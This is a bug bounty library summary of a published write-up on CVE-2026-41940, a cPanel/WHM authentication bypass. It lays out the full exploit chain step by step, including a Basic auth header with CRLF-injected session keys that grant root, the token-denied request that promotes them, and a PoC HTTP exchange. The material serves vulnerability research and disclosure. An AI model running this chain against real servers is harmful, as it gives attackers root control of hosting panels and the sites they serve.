# The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940)

CRLF injection in cPanel/WHM session save via Basic auth with no-ob cookie lets attackers forge root session records and bypass authentication entirely.

- Payout: Real-world hack
- Severity: critical
- Program: cPanel
- Analysis by: Sina Kheirkhah
- Disclosed: 2026-04-29
- CVE: CVE-2026-41940
- Write-up quality: 9/10
- Original: https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-4194
- Tags: area:web domain:web impact:ato impact:privesc kind:incident platform:research sev:critical technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:crlf-injection vuln:privilege-escalation

**Target:** cpsrvd session handling (whostmgrd port 2087)
**Root cause:** saveSession writes attacker-controlled pass from Basic auth into the session file without CRLF filtering, and when the cookie lacks the ,<ob> hex segment the encoder is skipped so raw \r\n lands on disk as new top-level records.
**Steps:**
1. POST /login/?login_only=1 with bad creds to mint a preauth session; capture whostmgrsession cookie `:RAND,<obhex>`.
2. Send `GET /` with `Cookie: whostmgrsession=%3aRAND` (no ,ob tail) and `Authorization: Basic base64(root:x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\ncp_security_token=/cpsess9999999999\r\nsuccessful_internal_auth_with_timestamp=1777462149)`.
3. Raw session file now contains injected top-level records, but loader reads JSON cache first so injection is buried in pass.
4. Trigger `do_token_denied` by requesting `/scripts2/listaccts` without a cp_security_token; Modify::new reads raw file (nocache) and Modify::save rewrites JSON cache with injected keys promoted to top level.
5. Request `/cpsess<token>/json-api/version` with the same cookie; docheckpass_whostmgrd sees successful_internal_auth_with_timestamp and returns AUTH_OK without checking /etc/shadow.
**How found:** Diffed patched vs unpatched cPanel, noticed new filter_sessiondata call in saveSession and a new `defined $ob && length $ob` guard around the encoder; hypothesized missing ob means pass written unencoded, then grepped saveSession callers and found cpsrvd Basic auth path passing unsanitized pass; discovered cache-vs-raw split and hunted for Modify::new/save pair reachable pre-auth via do_token_denied.
**Exploitation:** Attacker mints a preauth session, injects CRLF via Basic auth with a no-ob cookie, forces a token-denied request to promote injected keys into the JSON cache, then reuses the session to authenticate as root on WHM without valid credentials.
**Escalation:** Root-level WHM access on shared hosting control plane controlling ~70M domains; used as zero-day in the wild per KnownHost.
**Insight:** When a patch adds a sanitizer call inside a sink, look for callers that bypass the wrapper (here cpsrvd calling saveSession directly). Also: dual-storage designs (raw text + JSON cache) let you stage an injection in the file the loader ignores, then find any code path using nocache reads to promote it.

## Proof of concept (copied exactly from the original report)

**Token-denied request promoting injection to cache**

```
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Connection: close
Response:

HTTP/1.1 401 Token Denied
Cache-Control: no-cache, no-store, must-revalidate, private
Content-Type: text/html; charset="utf-8"
```

